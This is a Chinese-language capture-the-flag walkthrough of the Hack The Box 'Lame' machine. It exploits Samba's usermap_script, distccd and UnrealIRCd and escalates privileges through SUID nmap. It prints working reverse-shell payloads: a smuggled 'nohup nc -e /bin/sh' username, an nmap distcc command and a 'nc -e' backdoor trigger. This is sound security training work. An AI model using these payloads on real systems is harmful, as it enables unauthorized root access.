HTB靶机-Lame-WP

news2024/10/7 14:22:15

Lame

请添加图片描述

简介:

Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retirement

Tags:

Injection, CMS Exploit, Linux, Web, PHP, Password Reuse

Rating: 4.4

Skills:

  • Linux基础
  • 枚举端口和服务
  • 识别有漏洞的服务
  • 利用Samba漏洞

Pentest

0.SCAN

扫下IP:

$ sudo nmap -sSV -T4  10.10.10.3 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 14:43 HKT
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

1.ftp

$ sudo nmap -T4 -sC -p21 10.10.10.3         
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 14:47 HKT
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).

PORT   STATE SERVICE
21/tcp open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

匿名登录ftp查看一下

$ ftp 10.10.10.3 
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:xavier): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> pwd
257 "/"
ftp> bye
421 Timeout.

尝试vsftp对应的漏洞

$ locate *.nse | grep vsftp
/usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse
$ sudo nmap --script ftp-vsftpd-backdoor.nse -p21 10.10.10.3 -T4 -sSV   

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 15:50 HKT
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.22 seconds

该漏洞不存在,转向ssh和smb

2.ssh

试着爆破一下,没发现可以利用的点。

3.SMB

MSF

msf6 > search samba
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:32875 ) at 2022-03-16 16:04:23 +0800

whoami
root
find / -name "user.txt"
/home/makis/user.txt
cat /home/makis/user.txt
83bb7c7fff163562d48ac4ba14316025
cat /root/root.txt
848a15387ca22dcf38b1cdc8538223a0

不用MSF怎么解决呢?

试试nmap的nse漏洞脚本,无果

$ sudo nmap --script smb-vuln* -p139,445 10.10.10.3 -T4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 16:38 HKT
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 175.81 seconds

非MSF

信息搜集,寻找历史漏洞

确定Samba具体版本

$ smbclient -L 10.10.10.3
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
                                                                                                                                                 
┌──(xavier㉿xavier)-[~]
└─$ smbclient -L 10.10.10.3 -U "" -N --option='client min protocol=nt1'

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME

关于smbclient出现NT_STATUS_CONNECTION_DISCONNECTED错误

smbclient从4.11开始协议取消了nt1,使用smbv2,所以导致协议不能协商,解决办法如上,通过option指定,也可以修改配置文件 /etc/samba/smb.conf

crackmapexec 探测

$ crackmapexec smb --shares 10.10.10.3 -u '' -p ''                
[*] First time use detected                                        
[*] Creating home directory structure                               
[*] Creating default workspace                                      
[*] Initializing MSSQL protocol database                            
[*] Initializing SMB protocol database                              
[*] Initializing LDAP protocol database                           
[*] Initializing WINRM protocol database                            
[*] Initializing SSH protocol database                              
[*] Copying default configuration file                              
[*] Generating SSL certificate                                     
SMB         10.10.10.3      445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True)                     
SMB         10.10.10.3      445    LAME             [+] hackthebox.gr\:  
SMB         10.10.10.3      445    LAME             [+] Enumerated shares 
SMB         10.10.10.3      445    LAME             Share           Permissions     Remark                                                       
SMB         10.10.10.3      445    LAME             -----           -----------     ------                                                       
SMB         10.10.10.3      445    LAME             print$                          Printer Drivers                                              
SMB         10.10.10.3      445    LAME             tmp             READ,WRITE      oh noes!                                                     
SMB         10.10.10.3      445    LAME             opt           
SMB         10.10.10.3      445    LAME             IPC$                            IPC Service (lame server (Samba 3.0.20-Debian))              
SMB         10.10.10.3      445    LAME             ADMIN$                          IPC Service (lame server (Samba 3.0.20-Debian))

确定Samba 版本为 3.0.20,就可以找相应的漏洞。

$ searchsploit samba 3.0.20

$ searchsploit samba 3.0.20
---------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                          |  Path                           
---------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                  | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)        | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                   | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                   | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                           | linux_x86/dos/36741.py
---------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

$ more /usr/share/exploitdb/exploits/unix/remote/16320.rb
......
                        'Author'         => [ 'jduck' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 10040 $',
                        'References'     =>
                                [ 
                                        [ 'CVE', '2007-2447' ],
                                        [ 'OSVDB', '34700' ],
                                        [ 'BID', '23972' ],
                                        [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
                                        [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
                                ],
                        'Platform'       => ['unix'],

看到CVE编号:2007-2447

Github

Github找利用脚本

随便找了一个,https://github.com/amriunix/CVE-2007-2447,安装依赖$ pip install pysmb,按照说明运行:

$ python3 usermap_script.py 
[*] CVE-2007-2447 - Samba usermap script
[-] usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

$ nc -l -v -p 4444 

$ python3 usermap_script.py 10.10.10.3 139 10.10.14.2 4444
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !

$ nc -l -v -p 4444   
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 36956
whoami
root
whereis python
python: /usr/bin/python2.5-config /usr/bin/python /usr/bin/python2.5 /etc/python /etc/python2.5 /usr/lib/python2.3 /usr/lib/python2.5 /usr/lib/python2.4 /usr/local/lib/python2.5 /usr/include/python2.5 /usr/share/python /usr/share/man/man1/python.1.gz
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# find / -name user.txt
find / -name user.txt
/home/makis/user.txt
root@lame:/# cat /home/makis/user.txt
cat /home/makis/user.txt
83bb7c7fff163562d48ac4ba14316025
root@lame:/# cat /root/root.txt
cat /root/root.txt
848a15387ca22dcf38b1cdc8538223a0
root@lame:/# 

crackmapexec

来自参考文献2

more /usr/share/exploitdb/exploits/unix/remote/16320.rb 分析漏洞利用脚本,发现name 字段为

"/=`nohup " + payload.encoded + "`"
$ crackmapexec smb --shares 10.10.10.3 -u './=`nohup nc -e /bin/sh 10.10.14.2 4445`' -p ''                                           
SMB         10.10.10.3      445    LAME             [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True) 

另一边做监听$ nc -lvnp 4445

$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 59300
whoami
root

Metasploit 使用 nohup 命令,即 no hang up的缩写,这是 Linux 系统中的一个命令,即使在退出 shell 或终端并在当前上下文之外启动进程然后是有效负载之后,它也能保持进程运行。

总结:Lame 是利用Samba的命令注入漏洞直接获取root权限

4. distccd

看了参考文献2后,才发现还少了一个点没有发现,这边我不写了,直接看原文吧。


想了想还是再从这个点再做一次,多练习练习。

nmap 默认扫描未发现该端口,需要进行全端口才可以。这里用masscan快速扫描

$ sudo masscan -e tun0 -p- --max-rate 500 10.10.10.3
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-17 05:45:11 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 139/tcp on 10.10.10.3 
Discovered open port 22/tcp on 10.10.10.3  
Discovered open port 445/tcp on 10.10.10.3 
Discovered open port 3632/tcp on 10.10.10.3 
Discovered open port 21/tcp on 10.10.10.3 

nmap 做细分扫描,扫特定端口的服务详情,并用上NSE

$ sudo nmap -T4 -sSV -sC -p3632 10.10.10.3          
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 13:52 HKT
Nmap scan report for 10.10.10.3
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds

$ locate *.nse | grep distcc
/usr/share/nmap/scripts/distcc-cve2004-2687.nse

$ sudo nmap -T4 --script distcc* -p3632 10.10.10.3                
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 13:57 HKT
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).

PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687: 
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|       
|     Disclosure date: 2002-02-01
|     Extra information:
|       
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|   
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_      https://distcc.github.io/security.html

Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds

网上查distccd的资料:

distccd is the server for the distcc(1) distributed compiler. It accepts and runs compilation jobs for network clients.

more /usr/share/nmap/scripts/distcc-cve2004-2687.nse查看NSE脚本的具体内容:

$ more /usr/share/nmap/scripts/distcc-cve2004-2687.nse
.....
description = [[
Detects and exploits a remote code execution vulnerability in the distributed
compiler daemon distcc. The vulnerability was disclosed in 2002, but is still
present in modern implementation due to poor configuration of the service.
]]

---
-- @usage
-- nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
...

可以看到distcc-exec.cmd参数即为所执行的命令,将其改为连接命令,如nc -e /bin/bash 10.10.14.2 4444

nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"这种方法出现了很多意料之外的问题,无法成功获得shell。排查中…

NSE: failed to initialize the script engine: 
/usr/bin/../share/nmap/nse_main.lua:822: 'distcc-exec' did not match a category, filename, or directory
stack traceback:
        [C]: in function 'error'
        /usr/bin/../share/nmap/nse_main.lua:822: in local 'get_chosen_scripts'         
        /usr/bin/../share/nmap/nse_main.lua:1322: in main chunk 
        [C]: in ?                                                           
        
QUITTING!        

排查结果出来了,虽然用法中写着distcc-exec,但nmap其实并无法识别,只能用全名,对应的后面也需要修改。改成如下后,可成功执行

$ sudo nmap -p3632 10.10.10.3 --script=distcc-cve2004-2687.nse --script-args="distcc-cve2004-2687.cmd='nc -e /bin/bash 10.10.14.2 4444'"

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 42558

请添加图片描述

成功获得了daemon 权限,接下去进行提权

提权1:SUID - nmap

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 42558
whoami
daemon
python -c "import pty;pty.spawn('/bin/bash')"    
daemon@lame:/tmp$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
daemon@lame:/tmp$ nmap --version
nmap --version
Nmap version 4.53 ( http://insecure.org )

发现有nmap,版本为4.53,可以利用进行提权

nmap 在 2.02 到 5.21 版本中可用交互模式(–interactive)执行 shell 命令

The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

daemon@lame:/tmp$ nmap --interactive
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
sh-3.2# cat /root/root.txt
cat /root/root.txt
29ad7975c49f5ccb49b735a93efbfc4e

提权2:ssh key

daemon@lame:/tmp$ cat /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

看到msfadmin@metasploitable,最初以为是其他攻击方式留下的,重置主机后发现还是存在,说明是个线索,但是我不知道是什么。参考文章2告诉我是 CVE-2008-0166 的线索,没了解过,$ searchsploit cve-2008-0166 无过,上网搜。

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that generates predictable numbers, which makes it easier for remote attackers to conduct brute force guessing attacks against cryptographic keys.

——https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166

翻译:基于 Debian 的操作系统上的 OpenSSL 0.9.8c-1 到 0.9.8g-9 之前的版本使用随机数生成器生成可预测的数字,这使得远程攻击者更容易对加密密钥进行暴力猜测攻击。

expdb搜索:https://www.exploit-db.com/search?cve=2008-0166

看了一个利用脚本,描述步骤如下:

# https://www.exploit-db.com/exploits/5720
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
#     - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
#     - execute: python exploit.py (without parameters) to display the help
#     - if the key is found, the script shows something like that:
#         Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
#		  Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
############################################################################

因为网络问题没法下载5622.tar.bz2,这边先略过,可见参考文章2:privesc2部分

提权3 : UnrealIRCd Backdoored

推测由于网络问题,netstat -nltp 数据没能回显过来,从结果中发现6697端口,马上想到 IRC。

ps auxww | grep -i unreal 查看unrealIRC进程,发现 UnrealIRCd 以root权限运行。

ps auxww | grep -i unreal
root      5612  0.0  0.4   8540  2488 ?        S    01:43   0:00 /usr/bin/unrealircd
root      6522  0.0  0.1   1784   548 ?        R    06:01   0:00 grep -i unreal

根据这篇文章 unrealircd-3281-backdoored ,我们可以利用此服务来创建后门并拿到root权限

按照参考文章2,做一遍

aemon@lame:/tmp$ nc 127.0.0.1 6697
nc 127.0.0.1 6697
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [127.0.0.1] (Ping timeout)

得到 Metasploitable 的输出,这表明我们在正确的方向。 为了方便使用后门,我们可以使用已知的connect-back shell方法。

daemon@lame:/tmp$ echo "AB; nc -e /bin/sh 10.10.14.2 5555" | nc 127.0.0.1 6697         
echo "AB; nc -e /bin/sh 10.10.14.2 5555" | nc 127.0.0.1 6697
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

另一边

└─$ nc -lvnp 5555   
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.3] 39370
whoami
root
cat /root/root.txt
29ad7975c49f5ccb49b735a93efbfc4e

测试发现IRC的6667和6697端口都可以。

他山之石

  • https://hackpentest.in/hackthebox-lame/ 使用了python获取一个完整的tty SHELL python -c 'import pty;pty.spawn("/bin/bash")',同时提供了非MSF思路。
  • https://coldfusionx.github.io/posts/LameHTB/ 使用了crackmapexec , 根据现有exp自己复现了利用代码;distccd的攻击思路、提权思路

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/461125.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Midjourney 注册 12 步流程教学

原文&#xff1a; https://bysocket.com/midjourney-register/ 先推荐一个 PromptHero 中文官网 https://promptheroes.cn/ &#xff1a;Prompt Heroes 官网是提供 AI 绘画相关提示词中文网站&#xff0c;包括 Midjourney&#xff08;MJ&#xff09;、 Stable Diffusion、DALL…

printf,echo,cat指令与输出重定向>,输入重定向<与追加重定向>>等

printf指令的功能&#xff08;输出/追加重定向&#xff09; 语法&#xff1a;printf “格式化数据” (>/>>重定向)功能&#xff1a;格式化输出(默认往显示器文件且不带换行符&#xff09; 实例演示 echo指令的功能&#xff08;输出/追加重定向&#xff09; 语法&am…

使用chatgpt分析 too many open files 问题-未验证

java.io.IOException: Too many open files 怎么能定位到时哪行代码出的问题 &#xff1f; 2023/4/25 19:46:33 当出现类似 "java.io.IOException: Too many open files" 的错误时&#xff0c;通常是因为程序打开了过多的文件句柄&#xff08;File Handles&#xff…

【操作系统】第四章 文件管理

文章目录 知识体系4.1 文件系统基础4.1.1 文件的基本概念4.1.2 文件控制块和索引节点4.1.3 文件的操作4.1.4 文件保护4.1.5 文件的逻辑结构4.1.6 文件的物理结构 4.2 目录4.2.1 目录的基本概念4.2.2 目录结构4.2.3 目录的操作*4.2.4 目录实现4.2.5 文件共享 4.3 文件系统4.3.1 …

快速部署和测试API:使用APIfox的实战经验分享

最近发现一款接口测试工具--apifox&#xff0c;我我们很难将它描述为一款接口管理工具 或 接口自测试工具。 官方给了一个简单的公式&#xff0c;更能说明apifox可以做什么。 20分钟学ApiFox接口测试工具&#xff0c;结合30个项目实战讲解&#xff01;_哔哩哔哩_bilibili20分…

十、v-model的基本使用

一、v-model的基本使用 表单提交是开发中非常常见的功能&#xff0c;也是和用户交互的重要手段&#xff1a; 比如用户在登录、注册时需要提交账号密码&#xff1b;比如用户在检索、创建、更新信息时&#xff0c;需要提交一些数据&#xff1b; 这些都要求我们可以在代码逻辑中…

LVS+KeepAlived高可用负载均衡集群

1. 高可用群集的相关知识 1. 1 高可用&#xff08;HA&#xff09;群集与普通群集的比较 普通群集 普通的群集的部署是通过一台度器控制调配多台节点服务器进行业务请求的处理&#xff0c;但是仅仅是一台调度器&#xff0c;就会存在极大的单点故障风险&#xff0c;当该调度器…

【MCS-51】51单片机结构原理

至今为止&#xff0c;MCS-51系列单片机有许多种型号的产品&#xff1a;其中又分为普通型51&#xff08;8031、8051、89S51&#xff09;和增强型52&#xff08;8032、8052、89S52等&#xff09;。它们最大的区别在于存储器配置各有差异。下面我举例子的都是8051这一系列的单片机…

如何用ChatGPT协助做内容分发?(文本变成直播/音频/视频脚本)

该场景对应的关键词库&#xff08;14个&#xff09;&#xff1a; 直播博主、直播达人、音频主持人、产品特点、品牌故事、品牌活动、品牌logo、视频主角、画外音解说员、编剧身份、品牌内容分发方向、时长、脚本类型、产品 提问模板&#xff1a; 1、你是一名优秀的美妆达人&am…

零拷贝技术详解

文章目录 零拷贝技术前世数据的四次拷贝与四次上下文切换4 次 copy4 次上下文切换弊端 零拷贝诞生准备--DMA技术DMA 参与下的数据四次拷贝 零拷贝诞生零拷贝技术什么是零拷贝技术&#xff1f;零拷贝的实现方式技术总结1、DMA 技术2、使用 page cache 的 zero copy&#xff1a;3…

Redis命令及不同类型数据的应用场景

文章目录 本章要点基本命令心跳命令ping读写键值命令DB切换select查看key数量 dbsize删除当前库数据flushdb删除所有库数据flushall退出客户端命令 Key操作命令String型Value操作命令典型应用场景 Hash型Value操作命令应用场景 List型Value操作命令应用场景 Set型Value操作命令…

麻了,部门新来的00后给我卷崩溃了...

今天上班开早会就是新人见面仪式&#xff0c;听说来了个很厉害的大佬&#xff0c;年纪还不大&#xff0c;是上家公司离职过来的&#xff0c;薪资已经达到中高等水平&#xff0c;很多人都好奇不已&#xff0c;能拿到这个薪资应该人不简单&#xff0c;果然&#xff0c;自我介绍的…

前端工程化知识总结

1.webpack 和 gulp 区别 gulp&#xff08;流&#xff09;主要指前端开发的工作流程&#xff0c;通过配置一系列的task&#xff0c;定义task处理的事务(例如文件压缩合并、雪碧图、启动server、版本控制等)&#xff0c;再定义执行顺序&#xff0c;让gulp执行 task&#xff0c;从…

【WCH】CH32F203基于内部RTC+I2C SSD1306 OLED时钟和温度显示

【WCH】CH32F203基于内部RTCI2C SSD1306 OLED时钟和温度显示 &#x1f4cc;相关篇《【WCH】CH32F203基于内部RTC时钟I2C SSD1306 OLED显示》&#x1f4fa;显示效果&#xff1a; ✨主要是在其基础 上增加温度显示&#xff0c;温度数据来源于DS18B20&#xff0c;更换了OLED驱动显…

19.Java文件操作---I/O流

Java文件操作—I/O流 流(stream)的概念源于UNIX中管道(pipe)的概念。在UNIX中&#xff0c;管道是一条不间断的字节流&#xff0c;用来实现程序或进程间的通信&#xff0c;或读写外围设备、外部文件等。一个流&#xff0c;必有源端和目的端&#xff0c;它们可以是计算机内存的某…

c++ 虚基类(好理解)

当有类Base&#xff0c;类Base1继承了Base&#xff0c;Base2也继承了Base&#xff0c;Derived 类多继承了Base1和Base2 也就是呈现如图一种继承关系 如果Base类有一个public的 int a &#xff0c;在Derived里面要访问这个a&#xff0c;就必须指定是哪个类的a&#xff08;Base1…

2023年的深度学习入门指南(8) - CUDA编程基础

2023年的深度学习入门指南(8) - CUDA编程基础 上一篇我们走马观花地看了下SIMD和GPGPU的编程。不过线条太粗了&#xff0c;在开发大模型时遇到问题了肯定还会晕。 所以我们还是需要深入到CUDA中去探险一下。 获取CUDA设备信息 在使用CUDA设备之前&#xff0c;首先我们得获取…

Linux网络——PXE高效批量网络装机

Linux网络——PXE高效批量网络装机 一、PXE远程安装服务1.PXE批量部署的优点2.搭建PXE网络体系的安装条件 二、PXE 安装进行前的配置1.PXE装机所需的文件2.搭建 PXE 过程中使用的服务和程序①.DHCP服务②.vsftpd服务③.TFTP服务④.syslinux 三、搭建 PXE 远程安装服务器1.安装相…

使用PCL过程中报出的aligned_free问题记录

近期在使用PCL库的过程中碰到了程序崩溃的问题&#xff0c;花了两三天的时间一直在解决该问题。 环境配置&#xff1a; Windows11 PCL 1.12.1 VTK 9.1 VS2019 爆出的问题&#xff1a; 在Memory.h文件的下述代码处爆出问题 /** \internal Frees memory allocated with aligne…

【Python】一文了解Time模块、Datatime模块、Calendar模块。

作者主页&#xff1a;爱笑的男孩。的博客_CSDN博客-深度学习,活动,YOLO领域博主爱笑的男孩。擅长深度学习,活动,YOLO,等方面的知识,爱笑的男孩。关注算法,python,计算机视觉,图像处理,深度学习,pytorch,神经网络,opencv领域.https://blog.csdn.net/Code_and516?typecollect个人…